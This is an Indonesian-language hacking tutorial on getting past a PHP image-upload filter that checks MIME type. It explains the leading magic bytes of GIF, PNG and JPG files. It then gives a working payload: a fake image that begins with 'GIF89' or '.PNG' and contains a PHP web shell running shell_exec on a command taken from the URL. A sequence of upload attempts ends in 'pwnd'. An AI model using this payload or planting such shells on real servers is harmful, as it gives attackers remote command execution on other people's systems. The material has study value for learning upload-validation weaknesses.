Untuk melakukan upload filter yang dilakukan whitelist dalam bentuk MIME seperti muncul pada code PHP berikut :

if($imageinfo['mime'] != 'image/gif' && 
   $imageinfo['mime'] != 'image/jpeg' && 
   $imageinfo['mime'] != 'image/jpg'&& 
   $imageinfo['mime'] != 'image/png') { die('Error 002'); }

disebutkan pada code tersebut bahwa hanya diperbolehkan untuk upload file yang dibatasi dengan MIME GIF, JPG dan PNG. lalu bagaimana untuk bypass upload seperti ini.

cara mudahnya dengan cara menambahkan MIME tersebut pada shell yang akan di upload.

pada setiap awal byte file memiliki header sebagai identifikasi bahwa file tersebut memiliki content yang diikuti oleh headernya. first byte ini biasa disebut MIME ( Multipurpose Internet Mail Extension ) pada kalangan internet, pada umumnya MIME disebut sebagai file file yang berekstensi yang dapat diikuti oleh format email yang meliputi standar email. MIME yang dimaksud disini adalah header yang berisikan informasi bahwa file tersebut adalah file berupa tipe apa dan menggunakan ekstensi apa.

Maka dari itu artikel ini bertujuan utama untuk mengelabui fungsi utama dari php pada setiap kali mengirimkan file php akan mereturn beberapa data berupa array yang berisikan informasi mengenai file dari file size, file name, file extension dan juga file mime.

Setiap File memiliki first byte yang berbeda beda, berikut saya jelaskan beberapa first byte untuk file GIF, JPG dan PNG

GIF : pada first offset memiliki string GIF89 atau 5 first byte nya 4749 4638 39

GIF first offest

PNG : pada first offset memiliki string .PNG atau 5 first byte nyte 8950 4e47 0d

PNG first offest

JPG : pada first offset memiliki string JFIF JPG memiliki null content sebanyak 6 byte, jadi first bytenya dimulai dari byte 7 4a46 4946 00

JPG first offest

jadi first offset tersebut yang mengidtentifikasikan bahwa file tersebut tipe datanya seperti demikian.

lalu cara untuk bypass nya adalah cukup dengan membuat file *.gif atau tipe ekstensi yang di gunakan lalu dengan content file seperti berikut

GIF89

<?php echo shell_exec($_GET['cmd']); ?>
.PNG

<?php echo shell_exec($_GET['cmd']); ?>

so lets try it

Upload File shell langsung

trying to upload file shell

ternyata terdapat whitelist

trying to upload file shell

lalu di coba upload file shell yang sudah diedit

trying to upload file shell

pwnd

trying to upload file shell